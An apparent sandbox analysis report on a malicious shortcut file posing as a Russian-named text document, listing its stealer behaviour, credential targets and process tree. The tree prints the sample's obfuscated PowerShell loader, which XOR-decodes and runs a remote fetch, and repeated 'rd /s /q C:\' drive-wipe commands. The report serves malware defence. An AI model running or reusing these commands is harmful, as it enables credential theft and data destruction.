b5330f077bcb3e829fc7e8708ccb23a30767a34cd7131cb0ed7c7454402c221a

Analysis

max time kernel
141s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/05/2026, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Условия.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀�.lnk
Size 40KB
Sample260531-vdvqlsft2m
SHA256 b5330f077bcb3e829fc7e8708ccb23a30767a34cd7131cb0ed7c7454402c221a
MD5 545f0e94e3b0040c53308fb0086282e8
SHA1 7e1d4b6f5116ab7751e202f1b47c23f0033cf8f0
SHA512 582477940fa2123d4741284d052f9fea2ed1eeb532a97da10609231f74a9b92077a7a0d5b58aedd6506aee9827eff9060ee72227cbbaf76ebd6d231a7c074044
SSDEEP 24:8aiMsff4c5+i7KQPWPNAUWXBIcCGjIYbNYz7jkwIyt4kEuuatQp3z4jI4d3nxeS9:8aCQfWe+HpCGjtbNYIqQpYX/SI9IO
TLSH
T1B903232CCDA9822EC473C53DD8AA9712F9A36416A63DDA8D60CF634F9B53142F415B0E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3536	powershell.exe
9	3536	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
4592	Runner.exe
1672	Runner.exe

Loads dropped DLL 2 IoCs

pid	Process
4592	Runner.exe
1672	Runner.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3536	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	Runner.exe
File opened (read-only)	\??\M:	Runner.exe
File opened (read-only)	\??\Q:	Runner.exe
File opened (read-only)	\??\Z:	Runner.exe
File opened (read-only)	\??\N:	Runner.exe
File opened (read-only)	\??\R:	Runner.exe
File opened (read-only)	\??\S:	Runner.exe
File opened (read-only)	\??\T:	Runner.exe
File opened (read-only)	\??\U:	Runner.exe
File opened (read-only)	\??\Y:	Runner.exe
File opened (read-only)	\??\I:	Runner.exe
File opened (read-only)	\??\V:	Runner.exe
File opened (read-only)	\??\H:	Runner.exe
File opened (read-only)	\??\J:	Runner.exe
File opened (read-only)	\??\O:	Runner.exe
File opened (read-only)	\??\P:	Runner.exe
File opened (read-only)	\??\W:	Runner.exe
File opened (read-only)	\??\X:	Runner.exe
File opened (read-only)	\??\E:	Runner.exe
File opened (read-only)	\??\G:	Runner.exe
File opened (read-only)	\??\K:	Runner.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4592	Runner.exe
4592	Runner.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~3.0_X\Assets\AppTiles\WEATHE~1\30x30\5.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\8041_24x24x32.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI46F3~1.0_X\Assets\CONTRA~2\PEOPLE~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIB44A~1.0_X\Assets\CalculatorAppList.targetsize-30.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI83BA~1.0_X\Assets\INBBB3~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MI63E7~1.SCA\Assets\AppTiles\CONTRA~2\STOREL~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4E99~1.0_X\Assets\WINDOW~1\WI79D1~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\HxA-GoogleCloudCache.scale-125.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICB88~1.0_X\Assets\AppTiles\AP2957~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MID374~1.SCA\Assets\GA0431~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\OneNoteNewNoteSmallTile.scale-200.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI33D2~1.0_X\REACTA~1\assets\RNApp\app\uwp\images\ONBOAR~1\CALLS_~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIBE99~1.0_X\Assets\GamesXboxHubAppList.targetsize-64_altform-unplated_contrast-high.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MICROS~1.SCA\Assets\AppPackageBadgeLogo.scale-100.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MI3703~1.SCA\Assets\CONTRA~1\PEOPLE~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID5E5~1.0_X\Assets\CONTRA~2\StoreLogo.scale-400_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIEA2E~1.0_X\RESOUR~1.PRI	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI33D2~1.0_X\REACTA~1\assets\RNApp\app\uwp\images\CALLER~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI32BC~1.0_X\Assets\APC3EB~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~4.0_X\Assets\AppPackageBadgeLogo.scale-125.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI05FA~1.0_X\Assets\Square44x44Logo.targetsize-20.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A11~1.0_X\images\ON0C34~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIB28C~1.0_X\Assets\CONTRA~2\LargeTile.scale-200_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\HxMailSmallTile.scale-150.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A7F~1.0_X\Assets\CONTRA~1\APPLIS~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID54F~1.0_X\EDITAP~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\HxMailAppList.targetsize-32_altform-unplated.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIEACE~1.0_X\Assets\VO782A~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\COMPLE~1.3GP	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\EXCHAN~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~3.0_X\Assets\AppTiles\Weather_BadgeLogo.scale-200.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI8AAC~1.0_X\SYE19A~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6F49~1.0_X\Assets\Logos\WIDE31~1\PAINTW~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI46F3~1.0_X\Assets\CONTRA~1\PeopleAppList.targetsize-20.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\HXA-GO~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\SECOND~1\DIRECT~1\Car\LTR\CONTRA~1\WIDETI~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WINDOW~3\TABLET~1\TableTextServiceArray.txt	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~4.0_X\Assets\AppPackageAppList.targetsize-32.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID5E5~1.0_X\Assets\CONTRA~2\StoreLogo.scale-400_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIB44A~1.0_X\Assets\CalculatorAppList.targetsize-36_altform-unplated.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\HX86B3~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\HX8DB0~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIBE99~1.0_X\_RESOU~1\1843AD~1.RSR	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\vfs\PROGRA~4\MICROS~2\Office16\MSOHTMED.EXE	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID5E5~1.0_X\Assets\CONTRA~2\AppList.targetsize-64_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\SECOND~1\DIRECT~1\Home\RTL\CONTRA~1\WIDETI~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIAFF4~1.0_X\SOLITA~1.WIN	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\HxA-Generic-Light.scale-100.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MI3703~1.SCA\APPXMA~1.XML	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MI5D7C~1.SCA\APPXBL~1.XML	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI8AAC~1.0_X\images\SPLASH~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIE908~1.SCA\Assets\AppTiles\CONTRA~1\MAPSSM~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\Voices\en-IN\EN-IN_~1\RULESE~1.LUA	cmd.exe
File opened for modification	C:\PROGRA~1\WINDOW~1\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6F49~1.0_X\Assets\Images\Stickers\THUMBN~1\ST0752~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6132~1.0_X\Assets\CONTRA~1\AppList.targetsize-16_altform-unplated_contrast-black.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~2\EMPTYC~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI83BA~1.0_X\Assets\IN4396~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIE908~1.SCA\Assets\SECOND~1\DIRECT~1\Home\RTL\CONTRA~1\WIDETI~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A7F~1.0_X\Assets\CONTRA~2\AP321C~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI6F49~1.0_X\Assets\Logos\SQUARE~3\PAINTA~2.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~2\LID71F~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\FIRSTR~3.JPG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4DB5~1.0_X\Assets\AppTiles\CONTRA~2\MapsAppList.targetsize-60.png	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3440	chrome.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
3536	powershell.exe
3536	powershell.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
4592	Runner.exe
3536	powershell.exe
3536	powershell.exe
3536	powershell.exe
3536	powershell.exe
3536	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3924	chrome.exe
3924	chrome.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	1672	Runner.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 60 wrote to memory of 3536	60	cmd.exe	88
PID 3536 wrote to memory of 4592	3536	powershell.exe	105
PID 4592 wrote to memory of 2184	4592	Runner.exe	106
PID 4592 wrote to memory of 3924	4592	Runner.exe	108
PID 4592 wrote to memory of 3924	4592	Runner.exe	108
PID 3924 wrote to memory of 3504	3924	chrome.exe	109
PID 3924 wrote to memory of 1508	3924	chrome.exe	112
PID 3924 wrote to memory of 1508	3924	chrome.exe	112
PID 3924 wrote to memory of 3440	3924	chrome.exe	113
PID 3924 wrote to memory of 3028	3924	chrome.exe	114
PID 3924 wrote to memory of 3028	3924	chrome.exe	114
PID 3924 wrote to memory of 2520	3924	chrome.exe	115
PID 3924 wrote to memory of 2280	3924	chrome.exe	116
PID 3924 wrote to memory of 2520	3924	chrome.exe	115
PID 3924 wrote to memory of 2280	3924	chrome.exe	116
PID 4592 wrote to memory of 2932	4592	Runner.exe	117
PID 4592 wrote to memory of 2932	4592	Runner.exe	117
PID 2932 wrote to memory of 3444	2932	msedge.exe	118
PID 3536 wrote to memory of 1672	3536	powershell.exe	119
PID 1672 wrote to memory of 3364	1672	Runner.exe	121
PID 3536 wrote to memory of 3396	3536	powershell.exe	127
PID 3536 wrote to memory of 5048	3536	powershell.exe	129
PID 3536 wrote to memory of 3508	3536	powershell.exe	131
PID 3536 wrote to memory of 3740	3536	powershell.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Условия.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀�.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:60
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h $k=31;iex(-join([byte[]]@(118,122,103,55,118,109,114,55,50,117,112,118,113,63,56,92,45,58,92,45,58,92,45,58,48,113,118,126,114,48,108,123,126,122,119,48,108,121,122,109,48,106,105,122,126,124,116,120,120,48,109,112,107,124,122,113,113,112,92,113,126,114,108,122,123,126,109,75,48,114,112,124,49,107,113,122,107,113,112,124,109,122,108,106,125,106,119,107,118,120,49,104,126,109,48,48,37,108,111,107,107,119,56,68,50,46,49,49,50,39,40,66,54,54)|%{[char]($_-bxor$k)}))
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Users\Public\Music\Mp3Drive\Runner.exe
    "C:\Users\Public\Music\Mp3Drive\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4592
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:2184
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --no-startup-window --disable-gpu
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of WriteProcessMemory
      PID:3924
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x1b0,0x1b4,0x1b8,0x18c,0x1bc,0x7ffac4eac728,0x7ffac4eac734,0x7ffac4eac740
        5⤵
        
        PID:3504
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1960,i,3733609253516351978,1609365758698074417,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1964 /prefetch:2
        5⤵
        
        PID:1508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328" --force-high-res-timeticks=disabled --field-trial-handle=1960,i,3733609253516351978,1609365758698074417,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:3440
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328" --force-high-res-timeticks=disabled --field-trial-handle=1960,i,3733609253516351978,1609365758698074417,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:8
        5⤵
        
        PID:3028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1960,i,3733609253516351978,1609365758698074417,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:2
        5⤵
        
        PID:2520
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3924240694328" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1960,i,3733609253516351978,1609365758698074417,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3052 /prefetch:2
        5⤵
        
        PID:2280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --no-startup-window --disable-gpu
      4⤵
      Enumerates system info in registry
      Suspicious use of WriteProcessMemory
      PID:2932
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge2932240695078 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge2932240695078\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x248,0x24c,0x250,0x244,0x2f4,0x7ffab86fc188,0x7ffab86fc194,0x7ffab86fc1a0
        5⤵
        
        PID:3444
- - C:\Users\Public\Runner.exe
    "C:\Users\Public\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1672
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:3364
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops file in Program Files directory
    PID:3396
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:5048
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:3508
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:3740

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4768

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

POWERS~1.LOG

Path C:\Users\Admin\AppData\Local\MICROS~1\CLR_v4.0\USAGEL~1\POWERS~1.LOG
Size 3KB
SHA256 1a113cf68cfdb609399f95216db547432c2e3e478045689c0aa431ef6d6c55a8
MD5 89caff63c9c4564be6afb8f4b873331a
SHA1 2f9efc4cda827774426db5d157bc236dcc4ff937
SHA512 21e0f6289c9b1aebbf0fbbd815596983584222e4088385f4f9e6cd0d594000b7ad1b9017d9f39664cd09225207d41e9eb45bbf6efad62a05c7850f3b87678c34
TLSH
T1A581EE313375B1D4C9567F071A2819D463BF4386EA64AF4CB69C621EDE2640BDB222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MODULE~1

Path C:\Users\Admin\AppData\Local\MICROS~1\Windows\POWERS~1\MODULE~1
Size 53KB
SHA256 e837da85f05135bd037301e5a89ecfc2a9a1652d96825db983824da9727cf757
MD5 595df7718d3d4ab402127c8602d47555
SHA1 d0818147b14e8dd886da101859a12dbe579362d9
SHA512 b9ba1ddbf2e77373d350f6a4e0ed23fd4fb111bad9aa9720720dc6fb986b3ce448da7b6aaf2018a56c2974f8d5e889ea61573960e2565b0074e8add290eb1345
SSDEEP 1536:9C+jH0HtAHk1EdOdBLNKetflJdOYoSV3CNBQkj20pqdv+heOwUp4bN/MDE5a5/Yl:9C+jH0HtAHk1MOdBLNKetflJdOYoSV37
TLSH
T13E336093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

STARTU~1

Path C:\Users\Admin\AppData\Local\MICROS~1\Windows\POWERS~1\STARTU~1
Size 1KB
SHA256 645f26c8dcddc5e985a9caeeede3134c933d5d2bc0f029d60df85f8b268c3593
MD5 bf81ccb90c84d26896d09cb15d328cbf
SHA1 bf14edf4cff453972aede0c1621b20f2c11bfc0b
